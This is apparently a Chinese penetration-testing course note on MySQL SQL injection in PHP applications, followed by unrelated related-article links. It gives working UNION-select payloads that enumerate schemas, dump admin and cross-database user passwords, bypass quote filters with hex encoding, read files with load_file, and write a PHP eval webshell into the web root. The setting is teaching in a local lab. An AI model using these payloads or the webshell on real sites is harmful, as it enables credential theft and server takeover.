042-WEB攻防-PHP应用MYSQL架构SQL注入跨库查询文件读写权限操作

042-WEB攻防-PHP应用&MYSQL架构&SQL注入&跨库查询&文件读写&权限操作

#知识点:

1、PHP-MYSQL-SQL注入-常规查询
2、PHP-MYSQL-SQL注入-跨库查询
3、PHP-MYSQL-SQL注入-文件读写

演示案例:

➢PHP-MYSQL-Web组成架构
➢PHP-MYSQL-SQL常规查询
➢PHP-MYSQL-SQL跨库查询
➢PHP-MYSQL-SQL文件读写

MYSQL注入:(目的获取当前web权限)
1、判断常见四个信息(系统,用户,数据库名,版本)
2、根据四个信息去选择方案

  • root用户:先测试读写,后测试获取数据
  • 非root用户:直接测试获取数据

#PHP-MYSQL-Web组成架构

服务器安装MYSQL数据库,搭建多个站点,数据库集中存储MYSQL数据库中管理
可以都使用root用户管理也可以创建多个用户进行每个网站对应的数据库管理

Untitled

1、统一交root用户管理

  • www.zblog.com = zblog = root =>MYSQL
    www.demo01.com = demo01 = root =>MYSQL

Untitled

2、一对一用户管理(推荐)

自己的网站单独创建数据库用户去管理自己的数据库

  • www.zblog.com = zblog = zblog =>MYSQL
    www.demo01.com = demo01 = demo01 =>MYSQL

Untitled

#PHP-MYSQL-SQL常规查询

Untitled

1.SQL注人的概念

原理:接受的参数值未进行过滤直接带入SQL查询的操作
攻击:利用SQL语句执行你想要的东西(SQL语句能干嘛,注人就能干嘛)
SQL语句能干嘛⇒SQL语句由谁决定⇒数据库类型决定〈为什么mysql注入。oracle注人叫法原因)

Untitled

3.相关解释

Untitled

获取相关数据:
1、数据库版本-看是否符合information_schema查询-version()
2、数据库用户-看**是否符合ROOT型注入攻击-user()**
3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()

MYSQL5.0以上版本:自带的数据库名information_schema

  1. information_schema存储数据库下的数据库名及表名,列名信息的数据库
  2. information_schema.schemata记录数据库名信息的表
  3. information_schema.tables记录表名信息的表
  4. information_schema.columns记录列名信息表
  5. schema_name:information_schema.schemata记录**数据库名信息的列名值**
  6. table_schema:information_schema.tables记录**数据库名的列名值**
  7. table_name:information_schema.tables记录**表名的列名值**
  8. column_name:information_schema.columns**记录列名的列名值**

2.SQL注人的流程:获取数据→一步一步得到信息

  1. order by 6:这是一个排序语句,指示按照第6列进行排序

    1. 实战中,需要进行判断注入的列名有几个。

    2. 有的话页面正常执行

    3. 没有即会报错

    4. 如:该表存在6列,输入7后会报错

      Untitled

      Untitled

  2. union select 1,2,3,4,5,6:这是一个UNION查询,用于将多个SELECT语句的结果合并在一起。在这个例子中,它选择了6个列,每个SELECT语句都返回常量值。

    1. 发现执行后回显的数据:分别出现在网页署名(2),正标题(4),副标题(4),次标题(5)
    2. 如果没有回显数据,则在查询id加入负号即可http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,4,5,6
    3. 查找回显的作用:可以判断后期注入查询返回的数据,可以在页面中显示出来;

    Untitled

  3. union select 1,2,3,database(),user(),6:这个UNION查询选择了6个列,并在第4列返回数据库名称第5列返回当前用户,其他列返回常量值。

    Untitled

  4. union select 1,2,3,version(),@@version_compile_os,6:这个UNION查询选择了6个列,并在第4列返回数据库版本第5列返回操作系统信息,其他列返回常量值。

    1. 返回数据库版本原因:MYSQL5.0以上版本:自带的数据库名information_schema(只有5.0以上的版本才可以实行下一步查询
    2. 返回操作系统信息原因:如果是Linux系统对于后面的查询信息,大小写特定敏感

    Untitled

  5. union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01':这个UNION查询选择了6个列,并从information_schema.tables表中返回指定数据库(demo01)中的所有表名的组合字符串。

    Untitled

    1. information_schema.tables表记录表名信息的表
    2. table_schema:information_schema.tables记录**数据库名的列名值**
    3. table_name:information_schema.tables记录**表名的列名值**

    Untitled

    Untitled

    Untitled

  6. union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='admin':这个UNION查询选择了6个列,并从information_schema.columns表中返回指定表(admin)中的所有列名的组合字符串。

    Untitled

    1. information_schema.columns 记录列名信息表

    2. table_name:information_schema.tables记录**表名的列名值**

    3. column_name:information_schema.columns**记录列名的列名值**

      Untitled

    Untitled

    Untitled

  7. union select 1,2,3,username,password,6 from admin limit 0,1:这个UNION查询选择了6个列,并从admin表中返回第一行记录的用户名和密码。

    Untitled

Untitled

#PHP-MYSQL-SQL跨库查询

1.SQL跨库查询:通过B网站的注入点获取A网站的账号和密码

Untitled

2.影响条件:当前数据库ROOT用户权限

Untitled

3.跨库查询顺序

测试不同数据库用户:root demo

  1. union select 1,2,3,4,group_concat(schema_name),6 from information_schema.schemata: 通过 information_schema.schemata获取所有数据库的名称,并将这些名称连接成一个字符串。

    Untitled

  2. union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='zblog': 通过 information_schema.tables 表获取 ‘zblog’ 数据库中所有表的名称,并将这些名称连接成一个字符串。

    Untitled

  3. union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='zbp_member' and table_schema='zblog': 通过 information_schema.columns获取 ‘zblog’ 数据库中 ‘zbp_member’ 表的所有列名,并将这些列名连接成一个字符串。

    Untitled

  4. union select 1,2,3,mem_Name,mem_Password,6 from **zblog.zbp_member**: 尝试从 ‘zblog’ 数据库的 ‘zbp_member’ 表中选择 mem_Namemem_Password 列的数据,限制结果集为一个行。

    Untitled

4.注意事项

  • 注意:由于是跨库操作,在此刻必须指明是哪个数据库的表名

    1. from **zblog.zbp_member**:
    2. 不然会进行报错
    3. 表示 mysqli_query 返回的结果不是有效的 mysqli_result 对象,而是布尔值 false,可能是由于 SQL 查询执行失败。

    Untitled

  • 必须数据库权限是ROOT用户权限→才可以进行跨库

    • 如下文件数据库配置则代表是最高权限ROOT用户权限

    Untitled

    • 如果是其他数据库的权限
      • 只能看到该数据库用户下管理的表
    • 无法执行跨库

    Untitled

    Untitled

Untitled

Untitled

  • 解决:单引号过滤绕过方式

    • SQL注入语句使用单引号就不要编码,编码就不用单引号(路径,表名,数据库名等)注意:在编码后执行SQL注入时候要在编码前加0x

    • 当在编码后执行SQL注入时,如果要将编码后的Payload作为十六进制值直接传递给SQL语句,需要在编码前添加0x前缀。这是因为在许多DBMS中,0x前缀用于指示后续的字符串是十六进制值。

    • Hex编码(十六进制编码)是一种将数据转换为十六进制数字表示的编码方式。这种编码方式广泛用于表示二进制数据,例如在网络通信、编码传输、调试和数据存储中。

      Untitled

    Untitled

#PHP-MYSQL-SQL文件读写

1.影响条件:(必要条件)

  1. 当前数据库用户权限→必须是root用户

    Untitled

  2. secure-file-priv设置→默认关闭,必须添加到MYsql的配置文件my.ini中

  • G:\develop\safety\phpstudy_pro\Extensions\MySQL5.7.26*my.ini*

    Untitled

    • secure_file_priv 是 MySQL 数据库中的一个系统变量,用于限制使用 LOAD DATA INFILESELECT ... INTO OUTFILE 语句时可以读取和写入的文件的路径。这个变量通常用于提高数据库的安全性,防止用户滥用这些语句导致的文件系统访问。

      • 如果设置了这个变量,MySQL 将仅允许在指定的路径下进行文件的读取和写入操作。
      • 如果没有设置,MySQL 将默认使用空值,表示禁用 LOAD DATA INFILESELECT ... INTO OUTFILE
    • 例如,如果 secure_file_priv 被设置为 f:\\,那么在执行 LOAD DATA INFILESELECT ... INTO OUTFILE 时,只允许读写位于 f:\\ 目录下的文件。

      Untitled

      Untitled

      Untitled

2.进行测试

测试不同数据库用户:root demo

  1. union select 1,load_file(‘d:\1.txt’),3,4,5,6这个部分尝试使用 MySQL 的 load_file 函数加载本地文件 ‘d:\1.txt’ 的内容,并将其作为查询结果的一部分返回。

    Untitled

  2. union select 1,‘xiaodi’,3,4,5,6 into outfile ‘d:\2.txt’

    • 将查询结果写入一个文件 ‘d:\2.txt’。

      • 这个查询也是一种尝试,试图将查询结果写入到指定的文件中。
      • 成功写入

      Untitled

      Untitled

  3. union select 1,2,3,'<?php eval($_POST[x]);?>',5,6 into outfile **'G:\\develop\\safety\\phpstudy_pro\\WWW\\dome01\\xiaodi.php’** 将木马文件写入网站源码目录,方便获取权限

    • **<?php eval($_POST[x]);?>**这是一个PHP代码片段,它使用eval()函数执行传递给$_POST[x]的代码。这段代码的含义是,它将执行$_POST[x]参数中包含的任意代码。
    • into outfile 'G:\\develop\\safety\\phpstudy_pro\\WWW\\dome01\\xiaodi.php': 这是将木马文件写入网站源码目录,指定了写入的路径和文件名。

Untitled

3.读写的路径的问题:

1、报错显示获取路径

Untitled

2、phpinfo页面泄漏

Untitled

Untitled

如果不知道路径思路:
用常见的默认的中间件,数据库等安装路径读取有价值信息

load_file()常用路径:load_file()常用路径_load file 目录-CSDN博客

Untitled

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/401484.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

python自动化接口测试

前几天&#xff0c;同组姐妹说想要对接口那些异常值进行测试&#xff0c;能否有自动化测试的方法。仔细想了一下&#xff0c;工具还挺多&#xff0c;大概分析了一下&#xff1a; 1、soapui:可以对接口参数进行异常值参数化&#xff0c;可以加断言&#xff0c;一般我们会加http…

undo日志详解

一、undo日志介绍 上一节详细的说了redo日志&#xff0c;redo日志的功能就是把增删改操作都记录着&#xff0c;如果断电导致内存中的脏页丢失&#xff0c;可以根据磁盘中的redo日志文件进行恢复。redo日志被设计出来是为了保证数据库的持久性&#xff0c;undo日志设计出来是为…

从故宫修建看「软件物料清单」的重要性 @安全历史01

故宫&#xff0c;这座中国传统文化的重要代表和象征性建筑已屹立近600年&#xff0c;是世界上现存规模最大、保存最为完整的木质结构古建筑之一。 故宫之所以能至今保存完好&#xff0c;除持续保护和修缮外&#xff0c;其使用的木材和砖石等材料也经过了精挑细选&#xff0c;保…

一周学会Django5 Python Web开发-Django5路由重定向

锋哥原创的Python Web开发 Django5视频教程&#xff1a; 2024版 Django5 Python web开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili2024版 Django5 Python web开发 视频教程(无废话版) 玩命更新中~共计25条视频&#xff0c;包括&#xff1a;2024版 Django5 Python we…

图片速览 PrintListener: 通过手指摩擦声发现指纹认证漏洞

原有一些方法主要是用字典猜测的方式来解锁的&#xff0c;文章的方法利用了用户滑手机屏幕产生的声音来辅助指纹的生成&#xff0c;且本文所提方案的准确性要更高(文章采样了各种环境、各种情况的数据&#xff0c;详见原文)。 PrintListener的攻击场景广泛且隐蔽。它只需要记录…

小米标准模组+MCU 快速上手开发(一)——之固件下载

小米标准模组+MCU 开发笔记之固件下载 背景技术名词简介● 小米IoT开发者平台● 小米IoT 模组● ESP系列简介问题描述 + 解决方式问题1:固件下载是否有示例,如何下载到硬件板卡中?问题2:固件下载的官方程序是什么?在哪里?该如何使用?问题3:固件下载时,Flash和Ram 有什…

安全这么卷了吗?北京,渗透,4k,不包吃住,非实习

起初某HR找人发了条招聘信息 看到被卷到4k一个月被震惊到了 随后发布了朋友圈&#xff0c;引起来众多讨论 对此网友发表众多评价 越来越卷的工作现象确实是一个普遍存在的问题 另外&#xff0c;也可以考虑和雇主沟通&#xff0c; 寻求更合理的工作安排&#xff0c; 或者…

C#,大规模图(Large Graph)的均匀成本搜索之迪杰斯特拉(Dijkstra)算法与源代码

1 均匀成本搜索 均匀成本搜索是迪杰斯特拉算法的变体。这里&#xff0c;我们不是将所有顶点插入到一个优先级队列中&#xff0c;而是只插入源&#xff0c;然后在需要时一个接一个地插入。在每一步中&#xff0c;我们检查项目是否已经在优先级队列中(使用访问数组)。如果是&…

flink反压

flink反压&#xff08;backpressure&#xff09;&#xff0c;简单来说就是当接收方的接收速率低于发送方的发送速率&#xff0c;这时如果不做处理就会导致接收方的数据积压越来越多直到内存溢出&#xff0c;所以此时需要一个机制来根据接收方的状态反过来限制发送方的发送速率&…

精英ECS Z97-MACHINE V1.0 BIOS MX25L6406E

官网上的两个BIOS我都无法亮机&#xff0c;这是我保存出来的BIOS&#xff0c;不知道是否能使用五代的处理器 官网&#xff1a;Z97-MACHINE&#xff5c;Motherboard&#xff5c;产品&#xff5c;ECS 精英电脑 国外老哥的看法&#xff1a;ECS Z97-MACHINE Closer Look: The BIO…

手拉手助成长社会融合实践活动之新春送温暖

2月21日上午来自合肥市第四十五中学橡树湾校区七(15)中队、共青团合肥市第六中学2023级36班委员会的40多名同学&#xff0c;带来了龙年的礼物看望陪伴合肥市庐阳区为民社会工作服务中心幸福小院的兄弟姐妹。 大家详细地了解了幸福小院孩子们学习、康复和社会实践及能力提升情况…

CSS列表学习2

之前学习了列表&#xff1b;继续熟悉&#xff1b; <!DOCTYPE html> <html> <head> <meta http-equiv"Content-Type" content"text/html; charsetutf-8"/><title></title><meta charset"utf-8" /><…

通用性技术底座AI大模型与各行业专用性AI小模型搭建(第二篇)

五、小模型架构选择问题 在选择行业专用AI小模型的架构时&#xff0c;需要考虑以下几个关键因素&#xff1a; 1. **任务类型**&#xff1a; - 不同的任务类型&#xff08;如分类、回归、序列生成、图像识别等&#xff09;对应着不同的模型结构。例如&#xff0c;文本分类问…

Ansible cron模块 适用于管理计划任务 设置多个计划任务

目录 选项添加一个计划任务检查是否添加成功删除计划任务检查是否执行成功 选项 其使用的语法跟我们的crontab文件中的语法一致&#xff0c;同时&#xff0c;可以指定以下选项&#xff1a; day #日应该运行的工作( 1-31, , /2, ) hour # 小时 ( 0-23, , /2, ) minute #分钟( 0…

Leetcode 26-30题

删除有序数组中的重复项 给定一个有序数组&#xff0c;要求原地删除重复出现的元素&#xff0c;返回删除后的数组的长度。 这里的原地删除其实可以这样表示&#xff0c;用双指针从前往后扫一遍&#xff0c;遇到新的没出现过的元素就放到前面去&#xff0c;就可以实现删除后的数…

【杭州游戏业:创业热土,政策先行】

在前面的文章中&#xff0c;我们探讨了上海、北京、广州、深圳等城市的游戏产业现状。现在&#xff0c;我们切换视角&#xff0c;来看看另一个游戏创业热土——杭州的发展情况 最近第19届亚运会在杭州举办&#xff0c;本次亚运会上&#xff0c;电子竞技首次获准列为正式比赛项…

了解 Kubernetes

1 Kubernetes概述 1.1 k8s是什么 K8S 的全称为 Kubernetes (K12345678S)&#xff0c;PS&#xff1a;“嘛&#xff0c;写全称也太累了吧&#xff0c;不如整个缩写” 作用&#xff1a; 用于自动部署、扩展和管理“容器化&#xff08;containerized&#xff09;应用程序”的开…

Manacher算法和扩展kmp

Manacher算法 a情况 b情况 具体例子 c情况 总结 代码 #include<iostream> #include<algorithm> #include<string> #include<cmath>using namespace std; const int N 1.1e7 1; char ss[N << 1]; int p[N << 1]; int n; void manacherss…

vue中使用AraleQRCode生成二维码

vue中使用AraleQRCode生成二维码 问题背景 本文介绍vue中生成二维码的一种方案&#xff0c;使用AraleQRCode来实现。 问题分析 &#xff08;1&#xff09;安装对应的依赖包 npm i arale-qrcode --save &#xff08;2&#xff09;完整代码如下: <template><!-…

深入解析SDRAM:从工作原理到实际应用

深入解析SDRAM&#xff1a;从工作原理到实际应用 在众多内存技术中&#xff0c;同步动态随机访问存储器&#xff08;SDRAM&#xff09;因其出色的性能和广泛的应用而备受关注。本文将从SDRAM的工作原理入手&#xff0c;探讨其性能优化策略和在现代电子设备中的应用。 SDRAM工作…
最新文章